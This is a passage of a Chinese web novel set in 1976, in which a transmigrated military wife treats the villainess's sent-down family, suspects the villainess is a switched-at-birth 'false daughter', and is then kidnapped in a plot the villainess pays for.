原书《重生小娇妻,军婚甜蜜蜜》女主夏千燕重生后,前去部队找男主,害死原主的原配炮灰肥妻后,就一直撩拨男主。作者把夏千燕人设定为资本家娇小姐。啥也不会干,主打的就是一个会打扮,会撒娇会勾人,尤其是被窝里的功夫了得。最后找中医治好了男主的病,然后又生下了自己的孩子。最后成为了人生赢家——**夫人。
苏圆圆发现,直到现在,原书的主要脉络仍在继续:
男主绝嗣的病被治好了;女主住隔壁追夫;她这个原配怀双胎随军;现在还有女主父母下放**。
虽然一些细节有些变化,但大方向并没有变。
她作为一个炮灰前妻,怎样才能打开这个死结呢?
苏圆圆看着不远处流着眼泪,颓然往回走的男人,突然一个想法涌上心头。
如果我改变了夏千燕家里人的命运,他们都不死。夏千燕这个资本家大小姐的帽子就得戴着。
要是军区知道她的身份,还知道她父母就在这村里劳动改造。
那她就永远都嫁不成霍战北,因为结婚审查那一关,夏千燕就过不了。
苏圆圆皱眉,不对啊。
原书只寥寥几笔提到夏家人,在乡下****。可是,像现在夏家人被下放的地方离夏千燕这么近。
夏千燕没有道理不知道啊?
夏千燕既然知道家里人在这里,怎么可能眼睁睁看着家里人死去,她还能一心只追夫啊?
这也太不合情理了啊?
除非?
苏圆圆心里猛跳了几下。
除非夏千燕想让她的家人死,她家人**,她自己进军区医院当个护士。这样,把自己身上的污点都掩盖住。
才能把自己顺利嫁给霍战北。
原书中写夏家这几个人**的呢?
苏圆圆想到了一个细节,好像是失火。大冬天,取暖失火烧死的。
冬天?
苏圆圆看了一眼自己的肚子。
再过五个月,到了十月冬天,她也该生孩子了。
十月寒冬,炮灰前妻生孩子难产而死;夏家几口人取暖烧死在牛棚里;夏千燕如愿嫁给霍战北!
天底下哪有这么巧合的事?
苏圆圆不敢深想下去了。
“夏同志,我是学医的,我跟你去看看病人。”
苏圆圆想到此,转身朝夏知远走去。
“你?”
夏知远猛地抬头。
第97章 夏奶奶长得和我奶奶一样
“知远妈,你别吓我。”
三人一进牛棚,就看到一个衣服破烂的老头,扶着一个躺在干草堆上的老太太,拍着她后背喊。
听见脚步声,老头抬头,
“知远啊,快想法子找医生来,你妈快不行了。”
苏圆圆快走几步,在看到老太太的脸时,她脑袋嗡得一下,眼泪涌了上来。
奶奶?
这哪是一个陌生的老人啊。
这张脸和她现世里的奶奶长得一模一样。
“小同志,求你了,救救我妈吧!”
夏知远一看他母亲脸憋得发青,张大嘴巴,一副喘不过来气,马上要断气的样子。
转身就要跪地给苏圆圆磕头。
苏圆圆一把拉住他,没让他跪下去,顺手擦掉眼泪,
“我给她治,你快去拿一碗水来。”
今天去县城买东西,苏圆圆身上带了一包药丸,她原本想着看看在县上能不能卖掉。结果被闹腾一场,没腾出手,又原样带了回来。
夏知远赶紧用一个破碗,倒了半碗水来。
苏圆圆喂老太太吃了药,又从小布袋里拿出一个小艾块,
“给我火。”
夏知远从口袋里掏出一盒火柴,哆嗦着手,擦了几下没点着。
苏圆圆拿过来,一下就擦着,点烧了艾块,依次在肺俞、定喘、膻中几个穴位处快速悬炙,
“深呼吸,别张嘴,用鼻子慢慢吸气,然后再用嘴慢慢吐出去,对,就这样。”
苏圆圆教老太太用腹式呼吸法。
艾灸加药,再加上调整呼吸,老太太很快脸色恢复正常,气息均匀了。
“哎哟,妈,你可吓死我了。”
危机解除,夏知远一屁股坐到地上,全然不管地上的尘土脏物。
他身上穿着虽然撕破但面料很新的考究中山装,金丝边眼镜有一个腿断了。脸上带着刚愈合的伤痕,依然能看出是个儒雅白净的中年男人。
“小同志,太谢谢你了。要不是你,我妈今天可能就没了。”
头发被汗浸湿,夏知远一脸感激地看着苏圆圆。
想着刚才在村头,这位小同志拦住他,说自己是医生,可以跟他来看看。他当时还抱着死马当活马医的心理,没想到,这小同志医术一点也不比海市大医院的医生差。
以前在海市,他妈出现这种情况,赶到医院都得用仪器辅助才能舒缓。
苏圆圆笑了,这是她穿书以前,碰见陌生人,第一个不喊他胖同志,胖丫头,而喊她小同志的人。
看吧,这有学问的人就是不一样。
“哇,圆圆嫂子,你也太厉害了吧。”
赵美艳早就看呆了。
“圆圆嫂子,你有这医术,你以后在咱这一片,谁要是敢得罪你,你吼一嗓子,谁帮我揍人,我给看病。那你家屋门都得给你围得一只蚊子也飞不进去。”
哈哈,苏圆圆笑了,赵美艳这丫头说话就是直,好笑**。
“小同志,我就厚着脸皮再求你一次。你能帮我父亲看看腿吗?”
夏知远喘匀乎气以后,很不好意思地看着苏圆圆,
“我父亲的腿被打断了,前后拖了十几天了,你能给看看吗?”
说到这里,夏知远一脸紧张地看了眼院外,
“你放心,院门我刚才关上了,这会子没外人。你走后,我们绝不会对外人说一个字。”
夏知远知道自己提这个要求,很有些无耻。人家小同志主动过来帮他,救了他母亲一条命。
已经是他们家的大恩人了。
毕竟从海市一路辗转,作为**下放人员,一般人谁都不会主动靠近他们。
自从家里出事,到现在下放到赵家庄这个废弃的牛棚大院,整整过去了十几天,在路上,在各处折腾,直到昨天晚上,他们一家三口才被安置在这里。
赵家庄的村长只给他们提来一小半袋子黑面,说按上面定量,这20斤黑面先让他们欠着,从明天开始,跟着队里下地挣工分,到时候,再按工分扣掉。
下放的时候,他们原本带了两床新被子,还有一些衣物,路上被人扣掉了,扔给他们一床破被。
现在,他们一家三口,除了身上穿的被撕烂的衣裳,就只有这一床不知被人盖了多少年,棉絮都发黑变硬的破被。
其他之物,一点也没有。
夏知远最头疼的还不是生活的苦。
而是他母亲的身体,母亲是旧官家小姐,自幼体弱,尤其哮喘,身边不能断药。这次下乡**,啥药也没有,想想以
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后,夏知远脸色更加灰败。
至于父亲,在海市就被打断了腿,一直拖到现在,他求了不知多少人,也没有人给父亲治腿
,没办法,他撕掉一块内衣布料,给简单处理了一下。
唯一幸运的是,这赵家庄偏远,下放**住这牛棚里的,只有他们一家三口。
牛棚隔着一片小树林子,就是知青点,夏知远打听过,那里住着十几个知青。
这里虽然苦,但民风淳朴,那个赵村长虽然不批他出门请医生,但也没有打骂他,还给他送了黑面,还说明天让他跟着队里出工挣工分,也允许他父母先不下地。
“苦日子熬一熬,很快就会过去的。”
苏圆圆赶紧给夏知远打气,她想着可千万不能让夏家人**。
要是这会子夏家人**,夏千燕可就没有资本家大小姐这个帽子了。
这是1976年,再过两年,就改革开放了。到时候夏家一回海市,夏千燕的身份可就水涨船高了。
苏圆圆想着原书,就是写夏家人死后,部队并没有人知道夏千燕的具体身份,夏千燕如愿嫁给霍战北,等几年后夏家**,发还了钱财还有原住的小楼。
夏千燕凭借着那些原始资本,最终不但成了**夫人,还成了京市首富。
“这些药你拿着,奶奶的病只要按时吃药,注意休息,就不会有事。”
苏圆圆下定决心,她要帮着夏家人看好病,不但让他们在这里活得好好的,还得让夏千燕和他们的关系,让家属院人知道,彻底断了夏千燕嫁给霍战北的念想。
最好能逼着夏千燕离开部队才好。
“我来看看这位爷爷的腿。”
夏知远帮着挽起老爷子的裤腿。
苏圆圆看着皱眉,老爷子的右腿弯曲变形,又黑又肿。她上手按了一下,确定老爷子腿是硬物所砸骨折,没接,才出现的黑肿。
“我先给你接骨,有点疼,你忍一忍。”
苏圆圆迅速动手,很快给老爷子接好腿骨,夏知远又撕下一块内里,找了块干净木板。
苏圆圆给上药,固定。
“休养三个月,老年人骨头长得慢,只要不出意外,就能长好。”
“我父亲这腿不会瘸吗?”
第98章 夏奶奶藏了一个大秘密
夏知远不敢相信地看着苏圆圆,这个小同志也太厉害了吧。
不但能治哮喘,还会外科正骨。
“不出意外的话,不会瘸的。”
“小同志,真是谢谢你了。你这可是救了我们老两口的命了。”
夏奶奶擦着眼泪,趁人不注意,给夏知远使了个眼色。
夏知远意会,说要赵美艳帮忙,带着赵美艳走到院子里去了。
夏奶奶赶紧从衣襟里摸出一个戒指,塞到苏圆圆手里,压低声音说,
“小同志,你救了我们老两口的命。我们这身份,也没有啥能给你的。这是我来时手上戴的戒指,当时我撸下来塞衣襟内衬里,没被搜出来。你拿着,就当诊费了。””
苏圆圆本来不想要,可目光落在戒指上那颗晶莹的绿宝石上,眼泪又流了下来。
绿宝石戒指?
她奶奶手上就有一枚这样的戒指。
她从小到大,就见奶奶戴过这一件首饰。奶奶说,这是她爷爷给的定亲物。是爷爷家祖辈上传下来的。
苏圆圆接过戒指,紧紧握在手心里,似乎那里有着奶奶的一缕温度。
为啥夏奶奶长得和她奶奶一模一样?
为啥夏奶奶手上戴的戒指,和她奶有的戒指一模一样?
苏圆圆心里有点乱。
想不通。那就先拿着。
“那就谢谢奶奶了。这些药,你拿着。”
如果说,她进这个院子前,是因为她想让夏家人别死,留着给夏千燕添堵,揭穿她的身份。
现在见了夏奶奶,见了戒指,苏圆圆改主意了。
她要帮着夏家人活下去,尤其是帮着夏奶奶活下去。
“奶奶,你不要多想多虑,你要多休息,病就不会犯。”
她留了几包药给夏奶奶,有治她哮喘的,也有治夏爷爷腿伤的,还有感冒发烧的。
毕竟这可是七十年代的乡下,本就缺衣少药,一场高烧都能要人命的年代,何况他们还是劳动改造人员。
“嗯,你真是个好孩子。”
夏奶奶一脸慈祥地笑,
“也不知为啥,见了你这孩子,总觉得面善,想和你亲近。”
夏奶奶病缓和下来,有了精神,仔细打量面前的胖乎乎的姑娘,这才感觉到,这姑娘看着特别亲。
“奶奶,我见着你,也觉得亲。你不知道,你和我奶奶长得可像了。”
苏圆圆忍住心里的酸意,她怕当着人家老太太面哭,吓着人家。
“你要不嫌弃,以后我就叫你奶奶,你叫我圆圆就好。”
“唉,你这孩子,我们这身份,你能不嫌弃,真是我们的福气。要是以后奶奶能回去,奶奶给你办认亲宴,好好认你当亲孙女。”
夏奶奶拍着苏圆圆的手,
“圆丫头啊,你是个有福气的孩子。有大气运在后头,好好地过日子啊。”
圆丫头啊?
这语气,这宠溺的眼神,还有这拉着手拍她的动作,尤其是喊她圆丫头的腔调,简直和奶奶一模一样。
苏圆圆又想哭了。
“这不是夏千燕吗?”
院子里,赵美艳突然喊了一嗓子,吓得夏家三口人脸色都变了。
苏圆圆扭头一看,原来是夏知远掏口袋,掏出了一张相片,掉地上了。是一张全家福。
赵美艳一眼就认出了上面的年轻姑娘是夏千燕。
“原来你们是夏千燕的家人?”
赵美艳有些生气,走过来,就要拉苏圆圆走,
“圆圆嫂子,咱走,这是夏千燕的家人,早知道,咱都不救他们了。”
“你们认识我们家千燕?”
夏知远脸色变了。
因为他们离开海市的时候,夏知远接到他媳妇最后一个电话,就是他媳妇在京市打给他的。
说她已经托人,把他们一家三口一起下放,这样也能有个照应,而且下放地点也选择在了离女儿夏千燕比较近的地方。
还再三叮嘱他,只要女儿那边不出事,千万不要和女儿联系,不要让人知道女儿有**犯的家人。
等女儿站住脚,和霍家小子和好复婚。
到时候,女儿和霍家一定会想办法帮他们的。
“同志,能不能请你们帮忙保密,不要说出去。”
“你说的倒轻松,你还怕你们**犯的身份连累夏千燕是不是?”
赵美艳可不是能忍的人,
“你们都不知道,你们家那个闺女夏千燕可不要脸了。她住在家属院勾引哪个男人不行,偏勾引霍团长,还想破坏霍团长和圆圆嫂子的婚姻,哼,早知道你们是那货的家人,我们圆圆嫂子就不该救你们。”
夏奶奶不敢相信地看着苏圆圆,
“圆丫头,霍家小子结婚了?你就是他媳妇?”
夏奶奶的目光落在苏圆圆鼓起的肚子上。
“嗯,我和霍战北扯过结婚证了,我是他媳妇,这是他孩子。”<
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br>苏圆圆摸着肚子,一脸温柔地笑。
她早知这三人是夏千燕的家人,按道理,她对夏家人,应该只有利用才对。
可不管她面对和自己奶奶一样的夏奶奶,还是沉默的夏爷爷,还是憔悴儒雅的夏知远。
苏圆圆都莫名觉得亲切,不但烦不起来,她还觉得有一种力量,在拉着她和这些人亲近。
那种感觉,很奇妙,说不清楚,就是觉得呆在他们身边温暖又安心。
“要是这样,燕丫头也太不像话了。”
夏奶奶一脸严肃,
“知远啊,等以后你见了燕丫头,好好教育一下她。可不能再像以前那样,由着她妈妈纵着她的脾气。”
夏爷爷也少有的开了腔,
“一个姑娘家,没有媒人岂能自己找对象,更不要说破坏人家家庭了。咱夏家没有这样的子孙。”
“爸,你可别这样说,燕子是不懂事,被宠坏了。可她也是咱家唯一的骨血,唉,都是我和她妈的错。没有教育好她。”
夏知远一想到,他媳妇至今没有联系上,心里就更加着急上火了。
一听到儿子说夏家唯一的骨血,老爷子的眼神就黯淡下去。
是啊,也不知他们夏家是犯了啥大罪,子嗣一直单薄,他,儿子,还有孙女夏千燕,三代单传啊。
“看你们说话还像个正经人家,也不知夏千燕怎么养的,一点事都不懂,坏得很。”
赵美艳才不管,愤愤地说,
“不知在家属院败坏我们圆圆嫂子多少回了,人家霍团长都当面拒绝她了,她还巴着不放。”
赵美艳大有一种,孩子打架,见家长告状的样子。
“都是我们夏家的错,等我以后见了她,一定说她,一定……”
夏知远更加难堪了。
“只是,求两位别把我们的关系往外说。唉,她再不好,也是我们夏家唯一的孩子,我们……”
夏知远说不下去了,那么大一个男人,眼眶红了,眼泪都下来了。
不知为啥,夏知远一哭,苏圆圆的心莫名揪了一下。
“看看,你们三个都这么面善,一看就是好人。那个夏千燕不但脾气坏,心肠坏,长得和你们也不一样。”
赵美艳嘀咕,
“不知道的,还以为你们抱错孩子了呢。”
夏奶奶眼皮子狂跳了几下,低下头,她心里压着一个秘密,好几年了,她一直不敢说。
第99章 夏千燕不会是假千金吧
儿子儿媳结婚时,儿子在海市跟着他们经商,儿媳在京市医院上班。
小两口两地分居,孙女生下后,一直跟着儿媳妇在京市生活,直到十几岁才被儿子接回海市家里。
儿媳生下孙女后十几年,肚皮再没动静。
老两口哀叹,这就是他们夏家的命,代代单传。
一家三口本想着好好教育孙女,可接到家才发现,孙女都十几岁了,被她妈养歪了,教育了几年,还是改不过来。
夏爷爷和夏知远经常哀叹夏家是要没落了,孩子被养歪了。
但他们不知道,有一个秘密更可怕。
夏千燕有一次生病住院,家里只有夏奶奶,这次生病,抽血化验,让夏奶奶知道了一个可怕的事情。
夏千燕的血型!
夏千燕她竟然不是她们夏家的孩子!
到底是儿媳妇出轨怀上别人的孩子?
还是儿子和儿媳妇抱错了孩子?
夏奶奶这几年,一直在偷偷查这件事。可一直也没查到有用的线索。
这个秘密压在夏奶奶心底几年了,她也不敢让儿子和老头子知道。
要是让他爷俩知道,他们夏家唯一的孩子,还不是他们夏家的骨血?
夏奶奶都不敢想,这个家一下子就得垮。
“圆圆,要是燕丫头做得过份,你该怎么治她,就怎么治她。不要顾忌我们的请求。”
老两口互相看了一眼,夏爷爷也跟着点头,
“嗯,我老伴说的对。我们夏家不出孬种。如果歪了,那就得治。”
夏知远看着他父母,嘴张了张,终是啥也没说出来,长长叹息一声,低下了头。
两人离开牛棚大院,走出村子,赵美艳还在和苏圆圆唠叨,
“圆圆嫂子,你看看刚才他们一家吓的。我也不是故意说那些话的。”
赵美艳心直口快,
“其实我看,夏千燕一点也不像夏家的人,她长得和她爷奶爸爸一点也不像。倒是你,我看你和她爸眉毛和鼻子长得倒挺像。”
说到这里,赵美艳赶紧住嘴,嘿嘿一笑,心里想,哎呀妈呀,你看看我,那就是嘴快,说吐噜嘴了。
圆圆嫂子可是军嫂,还是医生,咋能和一个下放人员长得像呢。
“圆圆嫂子,我就是嘴快,你别和我一样。这世间长得像的人多了。你看郑好和苏班副长得简直就像一个模子里磕出来的呢。”
“嗯。”
苏圆圆在想着别的事,随口答应着赵美艳。其实她根本没听到赵美艳说的啥。
她刚才在院里,听到赵美艳的话,心里就犯嘀咕了。
难道夏千燕不是夏家的孩子吗?
原书中夏千燕有没有身世之谜?
她看书只看了前面一百多章,又看了结尾,中间落下几百章没看。
她不知道夏千燕是不是假千金啊?
”不过也奇怪了,你说这夏家一家人怎么看都是很好的人,咋会养出夏千燕那样的恶毒货色呢?“
赵美艳一边走一边唠叨,
”圆圆嫂子,你说,夏千燕会不会根本不是夏家的人?“
说到这里,赵美艳兴奋了,
”我小时候,我奶奶经常领着我去听戏。你说说,那戏文里经常有真小姐被奶娘抱走了,换成了个假小姐,真小姐倒成了乞丐。你说说,这夏千燕有没有可能,就是个假小姐?“
赵美艳说到戏文,一下子打开了话匣子,
”你说,夏千燕要是假小姐,那是谁换了孩子呢?那真小姐去了哪里呢?“
夏千燕到底是不是夏家的孩子?
苏圆圆听着赵美艳的话,一直沉思着。
刚才她收拾东西的时候,顺手把沾了夏爷爷腿伤血渍的棉花团塞进了口袋里。
等回去,她就拿医院找张红英化验一下。
作为医学博士,苏圆圆自然知道,这是七十年代,条件简陋,还没有后世先进的DNA鉴定。
现在的条件,只能做ABO血型鉴定。准确率较低,只能排除,不能确认。
她就是要先做这个,排除一下,如果夏千燕真不是夏家的孩子,做这个就能排除出来。
”圆圆嫂子,夏千燕要真不是夏家的孩子,那她还怪命好来。“
赵美艳噘嘴,
”从小在夏家过着锦衣玉食的好日子,结果现在夏家下放**了,她又不是夏家的孩子了。啧啧……“
苏圆圆点头,暗暗想
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着,万一她做出来,夏千燕不是夏家的亲生孩子,她现在一定不能让夏千燕知道。要让她把资本家小姐的帽子戴得死死的。
反而两年后,改革开放后,一切都放开了,夏千燕要继承夏家的一切,开始人生暴富路时,再把这消息放出去。
”不行,我以后可不能满嘴跑火车,这种话,我再也不说了。我以后见人都得说,哎哟,我昨儿个见着夏千燕爸妈了,那样子老惨了。“
赵美艳冷哼,
”我才不会替他们保密,保啥子密啊。他们想着别连累了闺女。可他闺女呢?我看那夏千燕真不是个东西。“
赵美艳愤愤,
”她家人被下放到我们赵家庄,离家属院也不远。她就没听到一点信,我都不信,别管咋说,那也是自己的家人,她就是不想让人知道,就不能偷偷去看看,送些吃的药啥的。“
”美艳,你说的对。夏千燕怎么可能一点消息不知道。她应该是怕家里人连累了她。“
”就是,对了,圆圆嫂子,我想起来了。咱就不能替他们保密,就得让人知道夏千燕是个啥出身,啥样的人。“
说到这里,赵美艳嘿嘿一笑,
”这样,她就不能和你抢霍团长了。“
苏圆圆只笑不语,她知道,现在就是她不说,赵美艳也会把这个消息捅出去。
夏千燕!
管你是不是有主角光环。
谁让你先惹我的,还想要害死我,抢走我的孩子和男人。
那就别怪姐心黑手狠,弄不死你,都算姐没本事!
……
午后的乡间小路,没有人,只有虫鸣鸟叫的声音。
”哎哟,嫂子,我肚子疼,我得去拉个大的。“
赵美艳看看周围,把车子停在路边,一头钻进树林子里。
这野花真好看。摘回去插罐头瓶里,摆在书桌上多好。
苏圆圆低头去摘野花,一会儿,摘了一大捧,听到有脚步声踩在草上的细碎声音,她头都没抬,就说,
”这花多好看,你也摘一把回去插,美——”
一个艳字没出口,她就被人猛地从身后抱住,捂住了嘴,然后就是眼前一黑,被人套了麻袋。
第100章 被人套了麻袋
“五百,夏千燕,少一分这事我都不做了。”
李大山坐在椅子上,看着刚擦过澡,换好衣裳的夏千燕。
心里想着,嘿嘿,这个臭娘们心黑嘴毒,脸蛋长得一般,但这身条子,倒是诱人的很。
“你的眼睛往哪看呢?信不信,再看,我让人给你挖了去。”
夏千燕恶声恶气。
今天她真是倒霉透了,被狗追了一路摔了几跤。那么远,又步行走回来,真是累死她了。
回到家,她才擦好澡,换好衣裳,李大山就翻墙过来了。
这个李大山真是气人,他不敲门,总是喜欢拐到西边胡同,趁人不注意,从墙上翻进来。
“咱说好的,二百,你咋能见风就长价呢?”
夏千燕生气了,这个李大山真是越来越过份了。因为他和李菊花的事情败露,她再也不能靠捏着他的短处,威胁他两替自己做事。
“咱是合作关系。我替你去医院看李菊花,你替我去弄苏圆圆。你咋又变卦了?这趟去县城,你要一百块,我给你了,你啥也没做成。”
夏千燕越说越生气,
“现在他两结婚证都扯了,你还问我要五百,你咋不去抢呢?”
“那还不怪你,本来我都想好,找个朋友开车撞他两不管是谁,撞一下,让她住个院,不就扯不成结婚证了吗?”
李大山也很厌烦地盯着夏千燕,
“还不是你妇人之仁,苏圆圆坐在院子里,我总不能让人开车跑院里去撞她。我说撞霍团长一下吧,你还不让。这不,他两顺利扯证了,你现在倒怨上我了。管我啥事?”
“你拉倒吧,李大山,看你出的啥馊主意。你让人开车撞苏圆圆还行。她一个乡下来的傻货,车都没见过几辆,倒是好糊弄。你确定,你让人撞了霍战北,能不把我们两扯出来?”
夏千燕心想,何况霍战北身边还跟着楚行止和高岭。
夏千燕算是发现了,这个李大山就只有一个狠劲,蠢劲也不小。
这种人,用倒是好用,要是用过一次大的,一定得让他消失。
“我和我朋友,从镇上跟到县上,再转回来,我们开车不要油啊,两百块钱,只够我们两这一次的钱。你现在还想让我再去弄苏圆圆,你得再给三百,我再找几个人。”
“没有钱了,就这二百,你事才办一半,得接着办完。”
李大山看着夏千燕突然嘿嘿一笑,
“夏千燕,我刚才骑着车子,可是从镇供销社一路跟着她们去了赵家庄。然后再骑回来找你的。你可知道,她去赵家庄见了谁?”
“能见谁?还不是跟着赵美艳去看家具,见了赵家人呗。”
“苏圆圆可不仅见了赵家人,她还去见了夏家人。”
夏家人?
夏千燕噌一下子站了起来。
她家里人真来了!
真像赵秀芳说的那样,真住在了赵家庄牛棚?
“你亲眼看到苏圆圆见到我家人了?”
“嗯,苏圆圆和赵美艳去牛棚,给你家人看了病。那么长时间,她们谈了啥,我就不知道了。”
“一定不能让苏圆圆回到家属院。”
啊?
李大山心里啧啧,果然不愧是恶女夏千燕,我都说了苏圆圆给她家人看病。
她一句话都没问她家谁病了,病的咋样,上来第一句话就是必须干掉苏圆圆。
这女人,够狠!
李大山收回视线,这样恶毒的女人,他还是不看的好。多看几眼,不是啥好事。
还是他们家菊花好,虽然没有那么漂亮,但听话,懂事,疼他,还给他生儿子。
“你带人,在她从赵家庄回来的路上,务必让她身败名裂,或者让她消失。”
在说消失的时候,夏千燕眼眸里的杀意犹如实质,看得李大山腿肚子不由紧了一下。
这女人,不但恶毒,居然连人也敢杀。
“弄得她身败名裂是五百块,要是弄死,那可就不只这个价了。”
话是这样说,李大山心里嘀咕。菊花现在还怀着我的儿子,我可不能干**的事,为了钱,犯不上。
“要让一个女人在家属院呆不下去,办法很简单,就找几个人堵住她,撕了衣裳,那个……”
李大山捻了几下手指。
“暗地里弄不行,必须得让大家看
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见,才能让她没脸在家属院呆下去。”
夏千燕心想,只要苏圆圆不在这里呆,不管她是被接回乡下老家,还是被接去京市待产。
只要弄走她,自己住这院,只和霍战北隔着一个墙,她有一万种手段能拿下霍战北。
就是霍战北扳不过来,她也能让他被迫对她负责。
“得在半路把人劫了,然后再扔到军区附近,还得不惊动巡逻,这?”
李大山有些为难。
“你傻呀,你要不在半路弄,在这院里弄,你们能跑掉?”
“夏千燕白他一眼,
“在半路劫了,然后你把她塞货物筐子里,开进来,扔小树林里。我带人从那边过,让人发现不就行了。”
一听小树林?
李大山眼皮子就狂跳了几下,
“你总啥事都往小树林扔,这也太容易让人怀疑了。要想让人看到,扔家属院西边菜地里,那边傍晚收拾菜地的女人多。”
“嗯,不错。还省得你开车带她进来了。你们小心点。万一真出了事,你可不要咬出我来。不然——”
夏千燕声音压低,
“我能让你家儿子生不出来,你信不信?”
李大山不说话,直直盯着夏千燕,
“你敢!”
“你不信,可以试试。”
女人恶起来,果然就没有男人啥事了。
李大山在夏千燕的目光下,眼神里的凶恶越来越淡,最后弯下了腰,
“你够狠。我告诉你,咱是合作关系,井水不犯河水。我办事,你给钱,出了事,我自然会安排人担着,绝不会咬出你来。”
“那行,再给你加一百,再想要多,没有。”
“五百,你不要再和我讲价。夏千燕,你要明白,钱不够硬,使不动人。毕竟这绑人可是犯法的。”
“好,五百就五百。”
夏千燕一咬牙,又十张大团结给李大山,
“咱可把话说**,钱给你了,这活你可得办好了,绝不能再出篓子。”
看着李大山开门闪了出去,夏千燕想了想,她得多找几个人去菜地那边,要不然,一会这场面就不够热闹。
第101章 大山娘来了
“你不是说是你媳妇吗?你这是要坑死我啊?”
“我要不说是我媳妇,你能来。赵树生,你可别喊冤枉了。你那么大个人了,又不傻。你要不给人做事,人家能一张口就给你送一台收音机?”
“原来你两蹲在那喝酒,就是在商量这事?”
“你以为黄大牙子为啥花钱给我买肉吃买酒喝?”
“既然是他让咱干,为啥他自己不来?”
苏圆圆一清醒过来,就发现她手脚被绑住了,嘴里还塞了布条。
一醒来,她就听到两个男人在争执。
她只能听,啥也看不见。
她被人用被子包裹着,好像是放在一个板车上,板车在小路上拉着,颠簸地很。
赵树生拉着板车,不满地看着旁边扶着板车把,一脸醉熏熏跟着的赵二孬——他们赵家庄出了名的酒鬼二流子。
“黄大牙子是供销社司机,他怕出了事,丢了工作,咱两平头老百姓,怕啥,被抓住顶多打一顿,罚点钱,蹲几天。”
“蹲几天?那不中。俺不干了。俺过几天就结婚了。”
赵树生越想越后悔,他到供销社找他妹赵美艳,去想法子给秀芳弄一台收音机。
结果,没见着他妹。倒遇见了在镇供销社旁边树林子石台子上喝酒的他们村二孬子。
二孬子当时正和一个一嘴黄牙的汉子喝酒,石台子上一碟子猪头肉,一碟子花生米。
一见他就招呼他喝一盅。他正发愁。没找着他妹,他在供销社也打听了,镇供销社没有收音机,说县供销社这段时间也没货。
没有收音机,秀芳就得哭。
赵树生也发愁,要是平常,他才不会跟二孬子这样的人沾,但这会他愁,也想喝两盅。
“收音机啊,我有法,我下午就去省城拉货。可以给你买一台。”
和二孬在一起喝酒的是供销社司机黄大牙子。赵树生量小,才喝两杯就半醉了,二孬子一问他有啥难处,咋一脸沮丧在供销社门口转,他就把媳妇想要一台收音机的事说了。
“可我现在没钱也没票。”
“那都不是事,谁让咱是兄弟呢。你就只管说,你要不要吧。钱和票哥先给你垫着。”
“真?你要能帮兄弟弄来,以后你就是俺一辈子的哥。”
赵树生拿二孬子的酒敬黄大牙子。
喝完酒,赵二孬子拉着板车和他一起回村,路上赵二孬子说,他喝酒打媳妇,他媳妇一气又回娘家了。
让赵树生陪他一起,把媳妇劝回来。
赵树生自然同意,毕竟人家二孬子帮了他大忙。
没想到,黄大牙子让他拉着板车在树林子里等,他去劝他媳妇,结果却直接抱着他媳妇回来了。
二孬子媳妇头上蒙着他的褂子,刚开始赵树生还不知道,等二人拉着板车走了一段路,他发现不是回赵家庄的路,一问二孬子,二孬子嘿嘿一笑,这才给他说,黄大牙子给他介绍了一个活。
“你放心,你蹲不着。真要出事了,到时候,你啥都往我头上推,就说我找你帮着劝媳妇回来,你也不知道这车上拉的不是我媳妇。”
“你说的倒轻松,到这时候,你还不给我说,你这拉的到底是谁?我们要把她拉哪去?”
“你知道的越少,你麻烦越小。你啥也不要问,只管帮我拉着,到军区西边菜地,把人推下去,你拉着板车就走,剩下的事全由我来。”
军区菜地?
赵树生抖了一下,酒都醒了。
感觉自己好像摊上大事了。
“我不——”
赵二孬子截住了他的话头,
“赵树生,你可拉倒吧。再说你不想干也晚了。现在人是不是在车上,你是不是拉着车来。你要现在不干,我到时候就直接说你是主谋。”
赵树生哽住,脸如死灰,完了,爹娘一天到晚交代他,不要和村里二孬子这样的人沾,看吧,沾一次,他就完了。
“二孬子,我既然上了你的贼船,我也就认栽了。你得答应我,让黄大牙子明天把收音机给我,事出来了,你顶着,要是扯出我来,我就把黄大牙子供出来。到时候,大家一起玩。谁也别想好。”
二孬子嘿嘿一笑,
“你看老实人要是狠起来,比我这样的二流子还狠。赵树生,你不要做啥木匠了,又不赚钱,还不如跟哥去黑市混,保你吃好穿好。”
“黑市?你真能赚到钱?”
赵树生想着,家里娶秀芳欠了钱,等以后过日子,他总不能让秀芳跟着他吃苦。
赚钱,这年头,除了死工分,只能混黑市。
“我要赚不到钱,能天天喝酒吃肉的。你放心,跟
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着哥混,保管你媳妇天天穿衣裳吃白面馍。”
赵树生想着,二孬子虽然喝酒打媳妇,但他媳妇的确被他养得白胖,是村里最胖的媳妇。
这也是他媳妇挨打,也不离婚的原因。
“跟着哥混,不会让你吃亏的。”
二孬子把五张大团结塞到赵树生口袋里,
“拿着,给你对象买点好东西送过去。放心,明儿黄大牙子不但给你拿台收音机,一准还会给你捎瓶子香香和一条花丝巾。”
五十块钱?
收音机?
香香?
花丝巾?
一想到秀芳见到这些东西会笑,赵树生就觉得,他啥也不怕了。
为了媳妇他啥都敢干。
想到这,他拉着板车越走越快
……
军区家属外,午后的阳光正盛,吃了饭,人们都在自家屋里休息,外面静悄悄的。
“婶子,俺不敢回家,怕俺婆婆骂俺,怕俺男人打死俺。”
家属院外,李菊花抱着包裹,站在路边,不敢进去。
“菊花,你怕啥?是她儿没本事让你生孙子。还有脸打你骂你。她娘俩要敢撵你,你正好跟着俺走,让他们落得个鸡飞蛋打。”
一个黑脸高壮农村老太太,蓝布大褂子,头上裹着一块方格毛巾,胳膊上挎着一篮子鸡蛋红糖。
身后背个大包裹,另一只手还提着个笼子,里面装着几只老母鸡。
“俺这在大队部接了电话,一听菊花你说替俺大山怀了个儿。俺连天加夜坐火车来的。”
大山娘一眼一眼看着李菊花的肚子,欢喜地一张黑脸放着光,
“菊花,你是不知道。俺家就大河大山两儿,大河媳妇不争气,嫁进来那么多年,亏俺好吃好喝伺候着,就生了两赔钱货,再没动静了。”
大山娘絮絮叨叨,说着她大儿媳妇只生了两孙女,小儿媳妇,也就是大山媳妇钱大俊又生了一个闺女宝珠。
“这么多年了,两儿媳妇的肚子再没一点动静,别说孙子了,就是个蛋,她两也不下了。俺这心里急啊,黑来白来睡不着觉。”
大山娘又开始一眼一眼看李菊花的肚子,
“老天爷保佑,没想到菊花你给俺怀了一个大孙子。你放心,俺这趟来,就是替你撑腰的。张家容不得你,俺李家接走你。”
第102章 娘,我才是你儿媳妇
“婶子,大俊嫂子厉害得很,俺也不敢跟你回去,她知道了,得挠死俺。”
李菊花展示着她脸上、身上的伤,
“这些,除了俺男人打的,就都是大俊嫂子挠的。还有她那个闺女,别看人小,厉害着来。她得空就要踢俺的肚子。俺怕……”
大山娘一听这话,更生气了,
